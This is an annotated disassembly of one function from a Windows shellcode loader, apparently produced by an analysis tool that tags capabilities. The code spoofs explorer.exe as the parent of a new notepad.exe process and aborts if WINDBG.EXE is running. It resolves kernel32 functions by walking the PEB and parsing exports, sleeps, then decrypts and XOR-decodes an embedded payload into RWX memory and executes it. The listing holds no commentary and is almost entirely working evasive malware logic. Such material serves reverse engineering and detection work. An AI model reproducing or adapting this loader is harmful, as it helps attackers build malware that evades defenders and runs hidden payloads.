Function at 0x140001390
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create process on windows
Encode data using xor
Enumerate processes
Execute shellcode via indirect call
Get kernel32 base address
Resolve function by parsing pe exports
Spoof parent pid

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x9c0]
sub rsp, 0xac0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x9b0], rax
xorps xmm0, xmm0
mov dword [rsp + 0x70], 4
xor eax, eax
mov dword [rbp], 0x238
xor esi, esi
mov qword [rbp - 0x28], rax
xor edx, edx
mov qword [rsp + 0x58], rsi
movups xmmword [rsp + 0x78], xmm0
lea ecx, [rax + 2]
movups xmmword [rbp - 0x78], xmm0
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x14000148b
lea rdx, [rbp]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x14000148b
lea rdi, str.explorer.exe
nop dword [rax]
lea rdx, [rbp + 0x2c]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rdi + rax*2 + 2]
jne 0x140001470
add rax, 2
cmp rax, 0xd
je 0x140001484
movzx ecx, word [rdx + rax*2]
cmp cx, word [rdi + rax*2]
je 0x140001450
lea rdx, [rbp]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140001440
jmp 0x14000148b
mov edi, dword [rbp + 8]
test edi, edi
jne 0x140001493
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
xor r8d, r8d
lea r9, [rsp + 0x58]
xor ecx, ecx
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x58]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r8d, r8d
lea r9, [rsp + 0x58]
mov rcx, rax
mov rbx, rax
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x30], rsi
lea r9, [rsp + 0x60]
mov r12d, 8
mov qword [rsp + 0x28], rsi
xor edx, edx
mov qword [rsp + 0x60], rax
mov r8d, 0x20000
mov qword [rsp + 0x20], r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rax, [rbp - 0x18]
mov qword [rbp - 0x28], rbx
mov qword [rsp + 0x48], rax
lea rdx, str.notepad.exe
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rsi
xor ecx, ecx
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80000
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rax, qword gs:[0x60]
mov r15, rsi
mov r13, qword [rax + 0x18]
add r13, 0x20
mov r14, qword [r13]
call fcn.140001160
call fcn.140001160
mov r8d, 0x104
lea rdx, [rbp + 0x6a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400019a2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov dword [rsp + 0x50], esi
mov r8d, 0x234
lea rcx, [rbp + 0x244]
mov edi, eax
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov dword [rbp + 0x240], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp + 0x240]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000160a
cmp dword [rbp + 0x248], edi
je 0x140001600
lea rdx, [rbp + 0x240]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400015e2
jmp 0x14000160a
mov eax, dword [rbp + 0x260]
mov dword [rsp + 0x50], eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rsp + 0x50]
xor edx, edx
mov ecx, 0x400
mov dword [rbp - 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r9, [rbp - 0x20]
xor edx, edx
mov rcx, rax
lea r8, [rbp + 0x490]
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
lea rcx, [rbp + 0x490]
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, str.WINDBG.EXE
lea rcx, [rbp + 0x490]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x1400019a2
nop dword [rax]
movzx r9d, word [r14 + 0x38]
xor edx, edx
mov r8, qword [r14 + 0x40]
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
mov edx, r12d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
movzx r9d, word [r14 + 0x38]
xor edx, edx
mov r8, qword [r14 + 0x40]
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov rbx, rax
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rbx
call qword [sym.imp.USER32.dll_CharUpperA]
lea rdx, str.KERNEL32.DLL
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140001716
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14, qword [r14]
cmp r14, r13
jne 0x140001670
jmp 0x14000172e
mov r15, qword [r14 + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
movsxd rax, dword [r15 + 0x3c]
mov r14, rsi
mov ecx, dword [rax + r15 + 0x88]
add rcx, r15
mov r13d, dword [rcx + 0x1c]
mov r12d, dword [rcx + 0x20]
add r13, r15
mov ebx, dword [rcx + 0x24]
add r12, r15
mov eax, dword [rcx + 0x18]
add rbx, r15
test eax, eax
je 0x1400017b3
mov qword [rsp + 0x50], rax
mov edi, dword [r12]
lea rdx, str.GetModuleHandleA
add rdi, r15
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140001785
movzx eax, word [rbx]
mov esi, dword [r13 + rax*4]
add rsi, r15
lea rdx, str.GetProcAddress
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x1400017a3
movzx eax, word [rbx]
mov r14d, dword [r13 + rax*4]
add r14, r15
add r12, 4
add rbx, 2
sub qword [rsp + 0x50], 1
jne 0x140001760
lea rcx, str.kernel32.dll
call rsi
lea rdx, [0x140003518]
mov rcx, rax
mov rbx, rax
call r14
lea rdx, str.CreateThread
mov rcx, rbx
call r14
lea rdx, str.WaitForSingleObject
mov rcx, rbx
call r14
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 4
lea rax, [rbp + 0x7b0]
mov edx, edi
lea rcx, str._a_bC
nop word [rax + rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x140001810
mov eax, dword [str.Jxlio]
mov ecx, 0x200
mov dword [rbp + 0x480], eax
movzx eax, word [0x140003754]
mov word [rbp + 0x484], ax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, rax
lea rdx, [rbp + 0x7b0]
lea rcx, [rbp + 0x480]
mov rsi, rax
call section..text
xor ecx, ecx
mov edx, 0x200
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x140001988
mov rcx, rsi
nop word [rax + rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rax - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x10], xmm1
sub rdi, 1
jne 0x1400018d0
movdqa xmm2, xmmword [str.5555555555555555_]
lea rax, [rbx + 0x20]
lea edx, [rdi + 8]
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
movdqa xmm1, xmm2
xorps xmm0, xmm2
movdqu xmmword [rax - 0x60], xmm0
movdqu xmm0, xmmword [rax - 0x50]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x40]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x40], xmm0
movdqu xmm0, xmmword [rax - 0x30]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
sub rdx, 1
jne 0x140001940
call rbx
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rbp + 0x9b0]
xor rcx, rsp
call fcn.1400019f0
lea r11, [rsp + 0xac0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret